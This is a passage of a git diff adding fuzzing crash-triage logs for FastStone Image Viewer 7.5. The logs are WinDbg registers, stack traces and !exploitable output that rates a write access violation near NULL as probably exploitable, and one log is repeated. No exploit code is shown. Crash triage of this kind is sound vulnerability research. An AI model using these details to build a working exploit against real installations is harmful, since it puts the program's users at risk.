Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32031/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..53ead25 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,175 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x488: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x488: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(488.4cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0fd2cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.32939e+029 0.346757 -5.543e-008 1.98871e-015 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00328000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00328000 8806d182 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00328000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..53ead25 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/WindowsDebugEngine_description.txt @@ -0,0 +1,175 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x488: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x488: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(488.4cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0fd2cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.32939e+029 0.346757 -5.543e-008 1.98871e-015 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00328000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00328000 8806d182 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00328000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/32704/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 